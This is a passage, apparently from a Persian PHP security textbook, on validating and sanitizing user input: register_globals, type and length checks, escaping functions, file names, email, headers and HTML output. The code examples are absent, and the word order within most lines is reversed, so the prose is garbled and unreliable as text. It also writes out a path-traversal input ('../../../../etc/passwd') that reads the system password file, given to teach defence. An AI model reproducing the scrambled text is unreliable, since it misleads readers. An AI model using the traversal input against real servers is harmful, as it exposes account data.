 اسکریپت آن در و سرورها آن روی بر دیگر حداقل، -نداشتند وجود دیگر دستورالعمل این توسط شده ایجاد

 بودند.  شده روزرسانی به که نداشتند وجود هایی

 نیز جدیدهای نصب از بعضی حتی و دارند وجود PHP قدیمیهای نصب از توجه قابل تعداد یک حال، این با

 اساس بر شده یافت PHP نصب شش میان در واقع، هستند. در قدیمی php.ini تنظیماتیهای فایل دارای

 تنظیم دارای مورد چهار ، http://www.google.com/search?q=phpinfo%28%29 خروجیی صفحه اولین

on  جهتregister_globals در که انتشار، جدیدترین در مورد دو و 4.3.10 ،4.3.4های ویرایش )در بودند 

 داشت انتظار توانمی سختی به که حالی (! در4.3.11 ویرایش یعنی دارد قدمت ماه یک تنها نوشتار این زمان

 که است آشکار اثبات یک امر این حال، این با نماییم، بررسی راها نصب کل اگر بماند پایدار نسبتی چنین که

 نیست.  خاصیی مسئله دیگر عمومی متغیرهای بودن دسترس در که شودمی فرض سادگی به

 تنظیمی فایل و نموده روزرسانی به را PHP پیش وقت خیلی باید شما کنید،می کنترل را خود سرور شما اگر

php.ini که کردیدمی نصب را یافته ارتقا register_globals  روی بر فرضپیش صورت به را off دهد. می قرار 

 php.ini به دسترسی هیچ شما حالت این در )که کنیدمی اجاره را سرور امکانات شما اگر حال، این با

 با بخش در که دهید قرار بررسی مورد ()phpinfo تابع با را خود سرور روی تنظیمات توانیدمی ندارید(،

 1-5 تصویر در که طورهمان دهد،می نشان را امر این Configuration: PHP Core         عنوان

 است.  مشخص

 ()phpinfo توسط شده داده نشان صورت به register_globals : تنظیمات1-5 تصویر
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 در را آن که شوید وسوسه است ممکن دارد، قرار on روی بر register_globals که شدید متوجه شما اگر

 زیر:  دستور با کنید خاموش خود،های اسکریپت

 

 اند. شده ایجاد قبل از عمومی متغیرهای تمامی که چرا دهدنمی انجام کاری هیچ دستور این متاسفانه،

 مقدار خود، سند روت در htaccess. فایل در زیر مانند به خطی دادن قرار با توانیدمی حال، این با

register_globals با برابر را off دهید.  قرار 

 

 دستور از ما هستیم، register_globalsجهت  بولین مقدار یک تنظیم حال در ما که دلیل این به

php_flag ازهای رشت مقدار یک تنظیم حال در اگر کنیم؛می استفاده( قبیل off،بودیم ) دستور از باید 

php_value کردیم. می استفاده 

  نکته

 در را فایل آن توانیدمی کنید،می استفاده دیگری هدف هر یا هدف جهت این htaccess. فایل یک از اگر

 کنید:  وارد آن در را زیر خط سه که ترتیب این به دهید قرار حفاظت مورد مشاهده برابر

 

 

  متغیرها اعلام 5.2.1.2

 لحظه هر در را متغیرها PHP ولی است الزام یکها آن از استفاده از قبل متغیرها اعلام ها،زبان از بسیاری در

( admin$ فلگ اینجا )در متغیر یک از استفاده خطر قبلی، بخش در اسکریپتهای تکه در کند. مامی ایجاد

 قبل از را متغیرها است: همواره این روش تریندادیم. ایمن نشان قبل، از آن فرضپیش مقدار دانستن بدون
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 ماش جدی ما به پیشنهاد این ولی است واضح امنیت، با مرتبط متغیرهای خصوص در نیاز نمایید. این اعلام

 نمایید.  اعلام را متغیرهای همه که است

  بدهید را انتظار برای متغیرهای ورودی مقادیر موردی اجازه تنها 5.2.2

 بر دارید انتظار که را متغیرهایی آشکار صورت به باید شما نیز پیچیدگی اندکی با حتیهای برنامه تمامی در

ی آرایه از راها آن دستی، صورت به نه و برنامه از استفاده با و نموده فهرست نمایید، دریافت ورودی یک روی

GPC (Get, Post, Cookieاستخراج) شود: می انجام قبیل این از روتینی با امر این که نمایید 

 

 بررسی راها آن ()foreachی حلقه یک با ما آرایه، یک در انتظار مورد متغیرهای نمودن فهرست از بعد

 ساختار از کشیم. مامی بیرون آن، در موجود متغیر جهت هر POST$_ی آرایه از را مقدار یک و کنیممی

${$keyجهت تخصیص } کنیممی استفاده کلید، جاری مقدارجهت  شده گذارینام متغیر یک به مقدار هر 

 را متغیر یک تخصیص این کند،می اشاره yearی آرایه مقدار به key$ که هنگامی مثال،جهت  )بنابراین،

 باشد(. می year کلید در POST$_ی آرایه مقدار حاوی که کندمی ایجاد

 مختلف، بسترهایجهت  را متفاوت انتظار مورد متغیرهای مجموعه توانمی سادگی به شکل، این به روتینی با

 متغیر یک ما اینجا، در مانند؛می باقی پنهان مخفی،های رابط که شویم مطمئن کهای گونه به نمود مشخص

 باشیم:  کار حال در مدیریتی بستر یک در اگر نمود خواهیم اضافه آرایه این به را دیگر
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 یک اگر حتی کند،می خارج اسکریپت از را نامناسب مقادیر خودکار، صورت به شکل، این به روتین یک

 باشد.  یافتهها آن ارسالجهت  روش یک مهاجم

  ورودی فرمت و طول نوع، بررسی 5.2.3

 ارسال فرم یک طریق از را  نوع مورد نظر شماتنها مقادیری از  تا دهیدمی اجازه کاربر یک به که هنگامی

 دریافت باید را ورودی نوع چه که دانیدمی قبل از که اساس این بر هستید توجهی قابل مزیت دارای نماید،

 بررسی با زیادی حد تا را کاربر ورودیمقادیر  اعتبار خصوص در ساده بررسی یک اجرای باید امر کنید. این

 نماید.  تسهیل است، انتظار مورد فرمت و طول نوع، دارای ورودی این اینکه

  نوع بررسی 5.2.3.1

 پرداخت.  خواهیمها آن نوعجهت  ورودی مقادیر بررسی به ابتدا در

 ها رشته 5.2.3.1.1

 حتی باشد، رشته یک تواندمی چیزی هر که چرا هستند PHP در اعتبار تاییدجهت  نوعترین سادهها رشته

 استفاده مورد اطمینانجهت  توانمی )( راis_string نیستند؛ رشته اصولا مقادیر از بعضی بودن. ولی خالی
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 نیستید. در رشته عنوان به اعداد پذیرش نگران شما ،PHP مانند به که هستند هایی زمان هرچند داد، قرار

 با )( برابرempty آیا که باشد امر این بررسی است ممکن بودنای رشتهجهت  بررسی بهترین حالت، این

FALSE مواردی همه زیر تست کنید،می محسوب رشته عنوان به را خالیی رشته یک اگر خیر. یا، یا است 

 داد:  خواهد قرار پوشش مورد را

 

 نیز رشته داد. طول خواهیم قرار بحث مورد بیشتر جزئیات با فصل اینی ادامه در را NULL و خالی مقادیر ما

 قرار نظر مد ادامه در نیز را طول بحث باشد. مامی آن نوع از بالاتر اهمیت این که است اهمیت دارای اغلب

 داد.  خواهیم

 اعداد 5.2.3.1.2

 را قرمزهای پرچم باید عددی غیر پاسخ یک دریافت آنگاه دارید، انتظار سال( را یک )مانند رقم یک شما اگر

 درای رشته عنوان نوع به را ورودی انواع مقادیری همه PHP که دارد واقعیت امر این که هرچندکند.  بلند

 نموده وارد کاربر کهای رشته آیا نمایید مشخص که دهدمی اجازه شما به آن خودکار نوع تعیین گیرد،می نظر

 استفاده قابل شما اسکریپتجهت  باید که )چرا خیر یا هست عددیی رشته عنوان به تعبیر به قادر است

 آن( استفاده مستعارهای ،()is_long یا ()is_integer )یا ()is_int تابع از توانیدمی کار، این باشد(. جهت انجام

 این:  به شبیه چیزی یعنی کنید

 

های پیام یارائه کند. مانمی فراهم مهاجم یکجهت  را راهنمایی گونههیچ اینجا، در خطا پیام که کنید توجه

 منعطفی و غنی زبان چنان PHPداد.  خواهیم قرار بحث مورد کامل صورت به فصل اینی ادامه در را خطا

 تابع از استفاده با یعنی دارد، وجود یکسان بررسی یک اجرایجهت  نیز دیگر روش یک حداقل که است

gettype() : 

 

 روش دارد. یک وجود صحیح عدد یک روی بر year$ متغیر قراردادنجهت  روش سه حداقل همچنین،

 است:  زیر شکل به ()intval تابع از استفاده
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 عدد یک اساس بر متغیر یک دقیق کردنمشخص از عبارت هدف، همین به نیلجهت  دیگر روش یک

 شکل هست:  این به صحیح،

 

 را 0 صحیح عدد مقدار یک نمایند، دریافت ورودی عنوان به را الفباییی رشته یک اگر ها،روش این دو هر

 گیرند.  قرار استفاده مورد دامنه، بررسی بدون نباید موارد این بنابراین کنند،می ایجاد

 این به ()settype تابع از استفاده از عبارت صحیح عدد عنوان به year$ متغیر تعیینجهت  دیگر روش یک

 شکل است: 

 

 قرار بررسی مورد باید ادامه در که کندمی مشخص را بازگشتی مقدار یک ()settype تابع که کنید توجه

 دهدارائه می را FALSE مقدار یک نماید، مرتبط صحیح عدد یک به را year$ نتواند ()settype گیرد. اگر

 کنید. می صادر را خطا پیام یک شما حالت، این در که

 که ()is_numeric از است عبارت نه یا است عدد یک مقدار یک آیا اینکه تعیینجهت  نهایی عمومی تست

ای رشته اصولا که اعدادی حتی و صحیح اعدادجهت  طور همین وها اعشاری و صفرجهت  را TRUE مقدار

 دهد. ارائه می هستند،

5.2.3.1.3 TRUE و FALSE 

 اطمینانجهت  بررسی ارزش همچنان ولی کنندنمی ایجاد مشکلی معمولا نیز بولی مقادیر ها، رشته مانند به

 یک کندمی ارسال شمای برنامهجهت  را”  false“ی رشته که دهنده توسعه یک که دارد را امر این مثلا از

 بولی TRUE با PHP در باشد،نمی خالی ،”false“ی رشته که دلیل این نمود. به خواهد دریافت خطا

 از باشدمی FALSE یا TRUE واقعا مقدار یک که هستید امر این تایید نیازمند شود. اگرمی ارزیابی

is_bool() کنید.  استفاده 

5.2.3.1.4 FALSE مقابل در خالی مقابل در NULL 

 نظر به ابتدا در است ممکن که است چیزی ازتر پیچیده خیر یا دارد وجود اصولا متغیر یک آیا اینکه بررسی

 الخصوص علی شوندمی گرفته اشتباه هم با سادگی به وجود، عدم یا و بودن false که است این برسد. مسئله

 یک 1-12 باشد. جدولمی دیگر نوع به نوع یک از متغیر یک تبدیلی آماده حد این تا PHP که زمانی

ی رشته یک با متغیر یک وجود بررسیجهت  مختلفهای روش چگونه که دهدارائه می را امر این از خلاصه
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 TRUE شوند. مقدارمی موفق)‘’(  خالیی رشته یک ( و12345) عددی مقدار یک (،something) واقعی

 گرفته نظر در موجود، عنوان به شده مشخص تست توسط خاص متغیر این که است آنی دهنده نشان

 دهد. نمی رخ اتفاقی چنین که معناست این به FALSE و شودمی

 متغیر وجودجهت  هایی : تست1-5 جدول

 

 گرفته نظر در موجود همواره somethingی هستند. رشته انتظار مورد و عادی جدول، این در نتایج اغلب

 غیر بهها تستی همه توسط نیز 12345 عددی مقدار مشابه، شکل رود. بهمی انتظار که طورهمان شود،می

 این است کننده نگران اندکی که رفت. چیزیمی انتظار هم باز که شود،می محسوب موجود ()is_string از

 گردد. ازمی محسوب موجود عنوان به ()is_string و ()issetهای تست توسط‘’  خالیی رشته که است

 دارد. )هیچ( قرار مقدار یک با برابر واقع در و است رشته یک نیز خالیی رشته این البته، ماوراالطبیعه، دید

 است این اینجا در نکتهگیرند. نمی قرار استفاده مورد ماورالطبیعه وجود بررسیجهت  معمولاها تست این ولی

 باشیم. ما مراقب باید بسیاری حد تا موجودیت، تعیینجهت  هاییتست چنین از استفاده هنگام که

empty() نیز را تست این حتی که کنیممی پیشنهاد همچنان ولی دانیممی میان این در تست تریندقیق را 

 تنهایی.  به نه و کنید استفادهها تست سایر کنار در

  طول بررسی 5.2.3.2

 توانمی را رشته یک شوید. طول بافر سرریز مانع توانیدمی کنیدمی بررسی را کاربر ورودی طول که هنگامی

 شمارد. می ای،رشته مقدار یک در را بایتی یک کاراکترهای تعداد که داد قرار بررسی مورد ()strlen با

 درخواست یک به کاراکتری 89 پاسخ یک دریافت باشند، 4 طول دارای دقیقا باید سال مقادیر که آنجا از

 بررسی سادگی به توانمی را مقدار یک باشد. طول مشکل یک وجودی دهنده نشان باید سال مقدارجهت 

 صورت:  این به نمود،
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  فرمت بررسی 5.2.3.3

 نیز را کاربر توسط شده ارائه مقادیر فرمت که دارد اهمیت امر این گاهی متغیر، یک طول و مقدار بر علاوه

 نوع دارایها این دو باشد. هرنمی مقدار از نوعی تاریخ،ی رشته یا و ایمیل آدرس یک نماییم. اصولا، بررسی

 قرار استفاده موردها مثال این از کدام هر توسط که دارد وجود خاص فرمت یک هستند. ولیای رشته

 به مای برنامه که شویم مطمئن تا دهیم قرار تایید مورد را فرمت این که دارد اهمیت امر این و گیردمی

 هستند اهمیت بالاترین دارای زمانی معمولاها فرمت امنیتی، دیدگاه شود. ازمی اجرا ایمن صورت به و درستی

 فایل چون زیرینیهای سیستم یا و دادهپایگاه یک قبیل ازها برنامه سایر به PHP از را مقادیر شما که

 و موارد این اعتبار تایید خصوص در گسترده بحث ما نتیجه، کند. درمی ارسال ایمیل، انتقال یا و سیستم

 دهیم. می ارجاع بعدی بخش به راها فرمت سایر

 PHP با فرمت و طول نوع، انتزاعی اعتبار تایید 5.2.3.4

هستند.  کاربر توسط شده ارسال مختلف مقادیر از تعدادی فرمت اعتبار تایید نیازمندها برنامه از بسیاری

 فیلتر و بررسیجهت  توابع از کتابخانه یک ایجاد از است عبارت وضعیت این مدیریتجهت  روش بهترین

 اسکریپت توسط ابتدا در کاربر که شود انجام زمانی باید اعتبار تایید خاص. این انواع با کاربر ورودی نمودن

ی سادهی آرایه باید چگونه که داد خواهیم نشان شما به ما کار، این شود. جهت انجاممی وارد شما،

$expected که را متغیرهاییهای فرمت و انواع تا دهید تعمیم فصل( را این قبلیهای بخش در شده )بحث 

 نماید درک را کنید برخوردها آن با دارید انتظار
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 راای رشتهی نمایهی آرایه یک شما فرض،پیش عددی کلیدهای با سادهی آرایه یک جای به کد، تکه این در

 انواع از عبارتند مقادیر این و انتظار مورد متغیرهایهای نام از هستند عبارت کلیدها آن، در که کنیدمی ایجاد

 نادیده را نیافته تخصیص متغیرهای و کنیدمی مرورای حلقه صورت به را آرایه ها. شماآن انتظار مورد
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 متغیر یک به آن تخصیص از قبل آن، نوع لحاظ از را یافته تخصیص متغیرهای از کدام هر ولی گیریدمی

 دهید. می قرار بررسی مورد محلی،

 از استفاده با مختلفهای داده انواع از تعداد هر اعتبار تاییدجهت  را خود سفارشیی کتابخانه توانید می شما

 از استفاده از است عبارت خود، مختصی کتابخانه ایجاد جای به دیگری گزینه نمایید. یک ایجاد مدل، این

 ورودی هم و کندمی ایجاد راها فرم هم که PEAR در QuickForm قبیل از موجود انتزاعیی لایه

 دهد. می قرار تایید، مورد شماجهت  را کاربران

 ها سیستم سایرجهت  ارسالی مقادیر نمودن پاکیزه 5.2.4

 هاییزیرسیستم وها برنامه سایر و شمای برنامه با تا باشند خاص فرمت یک دارای باید مقادیر از خاصی انواع

 دستورات یا و متاکاراکترها که است حیاتی اهمیت دارای نکته کنند. این کار دهند،می قرار استفاده مورد که

 شما PHPی برنامه کهای گونه به باشندن مقادیر این فرار( در )یعنی انکدشده یا و قول نقل صورت به داخلی

 نشود.  تبدیل اسکریپتیی حمله یک در عمدیرغی همکار یک به

   متاکاراکترها 5.2.4.1

 به بالقوه صورت به توانندمی که کاراکترهایی یعنی باشد زامشکل کاراکترهای شامل است ممکن ورودی

 شوید:  کاراکترها این از ناشی صدمات مانع طریق سه به توانیدمی بزنند. شما آسیب شما سیستم

 بگیرید.  نادیده راها آن خطرناک، کاراکتر هر از قبل \ یک افزودن با توانیدمی -1

 پایه، سیستم توسط متاکاراکتر عنوان به تا کنید قول نقل راها آن قول، نقل درها آن دادن قرار با توانیدمی -2

 نشوند.  محسوب

 توسط استفاده مورد nn% روش مانند به کنید انکود کاراکتریهای توالی به راها آن توانیدمی -3

urlencode .)( 

 تنظیم )قابل کنید استفاده magic_quotes_gpc دستورالعمل یک از که باشد انگیز وسوسه است ممکن

 نموده مدیریت را GPC مقادیر تمامی روی بر گیری نادیده خوکار صورت به که (، در اطلاعات ؛php.ini در

 است.  روشن فرضپیش صورت به و

دهد. می انجام مقادیر، این روی بر،  ()addslashes تابع از استفاده با تنها را کار این روش، این حال، این با

 آن احتمالی منافع از بیشتر بسیار magic_quotes_gpc از استفاده دلیل به شده ایجاد مشکلات متاسفانه،

 علامت باشد: دومی خطرناک کاراکترهای از معمول مورد چهار تنها به محدود ()addslashes هستند. مثلا،

 یا درصد 90 است ممکن ()addslashes تابع که حالی در . بنابراین،NULL و (\وارون ) ممیز قول، نقل

 دیگر نمود. مورد اعتماد آن به بتوان که نیست جامع کافیی اندازه به کند، خنثی را تهدیدات از بیشتر حتی
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 تابع از استفاده با را گیری نادیده باید شما خود،ی اولیه شکل به داده برگرداندن منظور به اینکه،

stripslashes() کاراکترهای از تعدادی زیاد، احتمال به بلکه است اضافی گام یک تنها نه که نمایید وارون 

 کند. می تخریب نیز را بایتی چند

 که دارد سعی ، اصولا()mysql_real_escape_string تابع که حالی در است؟ بهتر چیزی چه پس

 گستردهی مجموعه یک نماید، سازیپاک MySQLی دادهپایگاه یک به ایمن افزودنجهت  را کاربر ورودی

 مشکل توانیدمی . شماx1a\ و“  ،‘ ،\ ،NULL، \x00، \n، \rگیرد: می نادیده نیز ار خطرناک کاراکترهای از

 کنید:  رفع صورت این به خود آغاز روتین در آن دادن قرار با را آن دستی اعمال

 

 عمومی سازیپاک )( جهت اهدافmysql_real_escape_string از استفاده در نیز معایبی متاسفانه

 دارد.  وجود کاربر ورودی

 آتی ویرایش یک خطرناک. اگر مقادیر کلی گرفتن نادیده نه و است MySQL نیازهای مختص تابع این

MySQL گیری نادیده نیازمند دیگر \x1a ،نادیده کاراکترهای فهرست از است ممکن مقدار این نباشد 

 هاییداده مناسب است ممکن دادهپایگاه مختص گیری نادیده شود. چنین حذف تابع، این توسط شده گرفته

 نباشد.  نیست، دادهپایگاه تعامل یک در استفادهها آن هدف که

 با باید PHP بنابراین نیست فعال فرض،پیش صورت به MySQLجهت  پشتیبانی ،PHP 5 در

 باشد، نشده انجام کار این شود. اگر کامپایل <with-mysql=<location-- تنظیمی دستورالعمل

 بود.  نخواهد دسترس در احتمالا MySQL پشتیبانی

 را آن توانیدنمی است، داده قرار شده، گیری نادیده کاراکترهای میان در را \ علامت تابع، این که آنجا از

 شوید.  دوگانه گیری نادیده باعث اینکه بدون دهید قرار استفاده مورد یکسان مقدار یک روی بر بار چندین
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 نباید دارد. شما وجود PHP در گیری نادیده داخلی و استاندارد مکانیسم دو هر با مشکلاتی نتیجه، در

 دهید. اگر انجامها آن معایب وها مزیت از را دقیق تحلیل یک که زمانی تا کنید استفادهها آن از کورکورانه

 مکانیسم ایجاد به مجبور حتی است ممکن هستند، اختصاصی کافیی اندازه به یا و بوده شدید شما نیازهای

 تعریف را خود مختص گیرینادیده کاراکتر توانیدمی حتی شما آن، در )که باشید خود مختص گیری نادیده

 صورت:  این به دهید، قرار خود آغازین 46روتین درون را آن و کنید(،

 

  هاURI وها نام فایل، مسیرهای 5.2.4.2

شوند. ها نمیرشته دیگر که شوندمی محدود هایی شیوه به سیستم فایل توسطها فایل نام حاویهای رشته

 فایل نام یک نمودن وارد به موفق که مهاجم نباشد. یک دودویی ییهاداده شامل است ممکنها فایل نام

 شد. نام خواهد خطرساز مطمئنا ولی بینیپیش قابل غیر مشکلات موجب شودمی ییهاداده چنین حاوی

 برها فایل نام ولی باشند یونیکد بایتی چند کاراکترهای شامل است کنممها سیستم از بعضی روی برها فایل

های فایل نام نیازمند واقعا که صورتی نباشد. در صورت این به است ممکنها سیستم سایر روی

                                                   

 

 

46 Routine 
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 ASCII کاراکترهای مجموعه به محدود راها نام که است بهتر نیستید، خودی برنامه در شدهسازیدرون

 نمایید. 

 به را گذاریعلامت نوع هر تقریبای اجازه نظری لحاظ از یونیکس بر مبتنی عاملهایسیستم که هرچند

 از بسیاری که چرا نمایید خودداری فایلهای نام در علامات از باید شما دهند،می فایل نام از بخشی عنوان

ی تیره )خط _ تیره( و )خط -ی اجازه معمولا هستند. ما سیستم بر مبتنی معانی سایر دارایها نشانه این

 است کنیم. ممکنمی رد راها علامت دیگر انواع تمامی ولی دهیم،می مشروع کاراکترهای عنوان به بلند( را

 توانیدمی اگر ولی بدهیم فایل یک پسوند کردن مشخصجهت  را نقطه از استفادهی اجازه که باشد ضروری

 شوید.  نقطه از استفاده مانع و داده انجام را کار این شوید، کاربران توسطها فایل پسوند تعیین مانع

 که باشد،می نیز مسیر شامل محدودیت این که باشید داشته یاد هستند. به طولی محدودیت دارایها فایل نام

 اندک، واقعا مقدار یک تا را واقعی فایل یک نام قبول قابل طول توانمی پیچیده ساختار با سیستم یک در

 دهد.  کاهش

 یا و ()fopen فراخوانی قبیل از گیرندمی قرار استفاده مورد سیستمیهای فایل عملیات در که متغیرهایی

file_get_contents()، کنند.  آشکار را سیستم مخفی منابع که شوند وارد و ساختهای گونه به توانندمی

 دو یعنی یونیکس والد دایرکتوری خاص فایل تشخیص از است عبارت حمله نوع این در مقصر تریناصلی

 )..(. نقطه

 مشخص برنامه، یک در را فایل هر منبع کد که اسکریپت یک از است عبارت حمله از نوع اینی ساده مثال

 کد:  تکه این مانند به کند؛می

 

 کاربر دهد. ورودیمی پاسخ ببیند، خواهدمی را فایلی چه که پرسدمی کاربر یک از که فرمی به اسکریپت این

 ایجاد را درست فایل نام یک اسکریپت شود. اینمی ذخیره scriptname نام با POST$_ متغیر یک در

 خواهد اتفاقی چه که بگیرید نظر در را مسئله این دهد. ولیمی ()highlight_file تابع به را آن و نموده

 دو ارجاعات نماید. توالی وارد etc/passwd../../../../ صورت به را فایل نام یک کاربر که باشد قرار اگر افتاد

 . چهار/home/www/myphp/code/ از را دایرکتوری ()highlight_file تابع که شودمی باعثای نقطه
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 در اطلاعاتی یارائه موجب فایل این کردنببرد. مشخص etc/passwd/ به سپس . و/ به یعنی بالاتر سطح

 هستند.  معتبرهای شل دارای یک کدام که امر این شامل شودمیزبان می روی بر کاربران تمامی خصوص

 وارد دیگر URI یک از راها داده که دهد رخ اسکریپتی در است ممکن حمله نوع این از دیگر مثال یک

 برد(: می بهره نقطه، دوی حمله برابر در حفاظتجهت  تست یک از )که کد تکه این مانند به کندمی

 

 نماید:  عبور آن از تواندمی همچنان زیر ورودی کند،می متوقف راها حمله اغلب تست این چند هر

 

URIاست ممکن که هستند محدود کاراکترهایی مجموعه در ایمیل،های آدرس وها فایل نام مانند به ها 

 نشانگر شامل است ممکن موارد نیست. این اینگونه وجه هیچ به دیگر، لحاظ از ولی نمایند، ایجاد راها آن

 این نباشد؛ موارد این شامل یا و ://( باشدhttps :// یاfile )مثل جایگزین یک یا :// وhttp پروتکل معمول

 موارد این نمایند؛ اشاره پایین سمت به دایرکتوری چندین یا و بالاتر سطحی دامنه یک به است ممکن موارد

 ایمیلهای آدرسی اندازه به درست موارد نباشند. این یا باشند GET$_ متغیرهای شامل است ممکن

 بیرون جهان و شما سرور بین تعاملهای کانالی دهنده نشان ،هاآن مانند به که چرا هستند خطرناک

 مدیریت راها آن بالایی دقت با باید آنگاه نمایند، وارد را موارد این که دهید اجازه کاربران به شما هستند. اگر

 نمایید. 

 ایمیلهای آدرس 5.2.4.3

 شما سرور بین عبوری مسیر نوعیی دهنده نشان که چرا هستندها داده از حساس نوع یک ایمیلهای آدرس

 تمامیجهت  دعوت یک فرم یک در ایمیل آدرس یک نمودن واردجهت  دعوت هستند. یک بیرونی جهان و

های پیام نمودن ارسال به وادار را شما که بیابند را روشی و نمایند سعی تا باشدمی جا همه در 47اسپمرها

 نمایید. ها آن

 ممکن باشند؛ها تاریخ به نسبت بیشتری ممکنهای فرمت دارای حتی است ممکن معتبر ایمیل هایآدرس

 کاراکترها انواع از بیشتری بسیار کنند( تعدادمی کار آن در که المللی بینی جامعه به توجه )با شامل است
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ی داده شامل نباید کدام هر که است این گفتها آن مورد در اطمینان با توانمی که چیزی سه باشند. تنها

 جایی . )نقطه( در یک حداقل شامل باید کدام هر و باشند @ علامت یک دارای باید کدام هر باشند، باینری

 است.  پذیرامکان چیزی هر تقریبا صورت، این غیر در باشند؛ @ از بعد

 و هستندای افسانه دهند،می انجام ایمیلهای آدرس اعتبار تاییدجهت  برنامه معمول نویسندگان که کارهایی

 اساس بر فرمت اعتبار تایید روی بر تمرکز جای دارند. به طول صفحه چندینها برنامه این از تعدادی

 یک با مشابه مقدار این که شوید مطمئن باید تنها شما ، RFC 822 در شده آورده ایمیل آدرس مشخصات

 کاراکترها باشد. ایننمی قول نقل علامت بدون ویرگول نقطه یا کاما شامل اینکه،تر مهم و است ایمیل آدرس

 n\ یا r\ کاراکتر نوع هر باید همچنین شوند. شمامی استفاده ایمیلهای فهرستجهت  حائل عنوان به معمولا

 نمایید.  حذف شود، استفاده ایمیل پیام درون به اضافی هدرهای تزریقجهت  تواندمی که را

 و کنترل کاراکترهای که شوید مطمئن که کنید تلاش باید دهید،می را پیام متن در کاربر ورودیی اجازه اگر

 ASCII باهای پیام سرورها میل از هستند. تعدادی شده حذف یا و شده انکد یا ASCII غیر مقادیر

 در SMTPی اولیه مشخصات که چرا کنندنمی مدیریت را خود در بایتی چند کاراکترهای یا و یافتهتعمیم

RFC 821 مقادیر )یعنی، بیتی هفت ( انکدینگ در دسترس )در ASCII بیت 7 به تنها که 127 تا 0 از 

 انکود یونیکد متن اگر ممکن، حالت کمترین است. در نموده مشخص دارند( را نیاز کاراکتر هرجهت  داده

 چنین شما که بگویند سرور به که کنید تنظیم را هدرهایمیلی باید نمایید،می وارد متن یک در را  نشده

 کنید: می کاری

 

 اینکه جای به کنید استفاده 64ی پایه یا و 48چاپ قابل -قول نقل انکدینگ از که بود خواهد بهتر بسیار

کنند. می رد راها آن احتمالا که نمایید ارسال سرورهاییجهت  را بیتی هشتهای پیام که کنید تلاش

)( imap_8bit ندارد. تابع وجود PHP در چاپ قابل -قول نقل رمزگذاری داخلی پشتیبانی هیچ متاسفانه،

 چند کاراکترهای با خوب به تابع این ، http://php.net/8bit در موجود نظرات اساس بر ولی دارد، وجود

ی صفحه در چاپ قابل -قول نقل جهت رمزگذاری PHP اسکریپت تابع کند. چندیننمی برخورد بایتی

 اند. شده )( ارسالquoted_printable_decode دستورالعمل
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 این (، RFC 2045 در شده )مشخص MIME استاندارد از استفاده با بخشی چندهای پیام ساختن هنگام

 نماییم.  استفاده مرز در تصادفی کلید یک از که است مهم نکته

 پیام،: Content-type اصلی هدر در مرزیی رشته یک ،MIME پیام یکهای بخش جداسازی منظور به

جهت  مهاجم یک مانع باشد تصادفی مقدار یک شامل کهای گونه به مرزیی رشته یک شود. ایجادمی تعریف

 تواندمی که است استفاده سوء روش یک که شد خواهد پیام یک درون به جعلی MIME مرز یک تزریق

 استفاده مورد مختلف،های الصاقیه باای چندرسانههای اسپم به شمای برنامهی سادههای پیام تبدیلجهت 

 گیرد.  قرار

 HTTP هدر مقادیر 5.2.4.4

 میانی سرورهای توسط است ممکنها پاسخ که است این است بنیادی HTTP ماهیتجهت  که چیزی

HTTP توسط است ممکن همچنینها شوند. پاسخ تبدیل حتی یا و کش شوند،می خوانده پراکسی که 

 قابلهای نمایه ایجادای جهت پایه عنوان به سپس و شوند کش جستجو، موتورهایهای ربات از بسیاری

 در شما که مقادیری که است اهمیت دارای امر این دلیل، همین گیرند. به قرار استفاده مورد جستجو،

header() متاکاراکترهای دارای کنیدمی استفاده HTTP خصوصا \r و \n ،جداسازیجهت  که نباشند 

 گیرند. می قرار استفاده مورد هدرها

 انکد ()urlencode از استفاده با : بایدLocation مکان تغییر یک در شده استفاده کاربر ورودی نوع هر

 شود. 

   دادهپایگاههای کوئری 5.2.4.5

های علامت از عبارتند دادهپایگاه کوئری یک در استفاده مورد مقدار هر در خطرناک کاراکترهای ترینمشخص

 نقطه همچنین و کنندمی گذاری نشانه راای رشته مقادیر موارد، این که دوگانه( چرا چه و یگانه )چه قول نقل

 کامل توقف موجب کاراکتر سه این گیریکنند. نادیدهمی گذارینشانه راها کوئری موارد این که چراها ویرگول

 و هستند معمولهای علامت ها،ویرگول نقطه و قول نقلهای علامت شد. ولی خواهد SQL تزریق حملات

 مقادیر مدیریتها جهت روش بهترین گیرند. مامی قرار استفاده مورد دادهپایگاه مشروع مقادیر از بسیاری در

 داد.  خواهیم قرار بحث مورد ششم فصل در را SQLهای کوئری در

 HTML خروجی 5.2.4.6

 به PHP سوی از شده ارسال مقدار یک عنوان به PHP اسکریپت یک در HTML خروجی به معمولا ما

 خروجی شما افتد. اغلب،می اتفاق که است چیز همان دقیقا این ولی کنیم،نمی نگاه دیگر سیستم یک

HTML کاربر،جهت  یعنی ممکن، اتکای قابلیت کمترین دارای و باگ بالاترین دارای سیستم یک به را 

 کنید. می ارسال
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 ،49آپمارک نوع هر در که را مقادیری که است مهم کنیم. بسیارمی شوخی اینجا در ما که نکنید تصور لطفا

 شما که چرا نماییم سازیپاک شوند،می وارد JavaScript و CSS حتی یا و XML چه ،HTML چه

 بر را اشتباهی اطلاعات است ممکن که شوید اختیاری آپمارک تزریقجهت  مهاجم یک مانع خواهیدمی

 یک مانع که خواهیدمی مطمئنا بکشاند. و 50فیشینگ دام یک به را کاربر یک یا و دهد ارائه صفحه یک روی

 از دسته شوید. این ویهای کوکی یا و مشخصات مقادیر یارائهجهت  کاربر یک زدنگولبرای  مهاجم

 در راها آن از ممانعت چگونگی وهای نامناسب حقه این ما که نامندمی سایتی بین نویسیاسکریپت را حملات

 داد.  خواهیم قرار بحث مورد هفتم فصل

 در PHP مقدار یک که زمانی هر در ()htmlentities از استفاده که کنیممی بیان تنها ما حاضر، حال در

 است.  اجباری شود،می رندر آپ مارک

  شلهای آرگومان 5.2.4.7

 کاملا کاراکترهای که حال عین در هستند عامل سیستمجهت  خاص معنای یک دارای شلهای آرگومان

 فراوانی دقت با باید موارد این شوند. بنابراین، ظاهر کاربر، ورودی در سادگی به توانندمی که هستند طبیعی

 ولی داد خواهیم قرار بحث مورد هشتم فصل در را شلهای آرگومان گیری نادیده مشکل شوند. ما مدیریت

 شده طراحی کار اینجهت  که PHP توابع از یکی از همیشگیی استفاده از است عبارت کلیدی استراتژی

 . ()escapeshellarg قبیل از است

 

 مبهم نمودن خطاها 5.2.4.8

 خطا پیام یک که باشد مفید مهاجم یکجهت  حد این تا غیرعمدی چیزی که نمود تصور توانمی سختی به

 به کاربر ورود حملات دهد. اغلبارائه می سیستم شرایط و مسیرها خصوص در را اطلاعاتی که است مفید

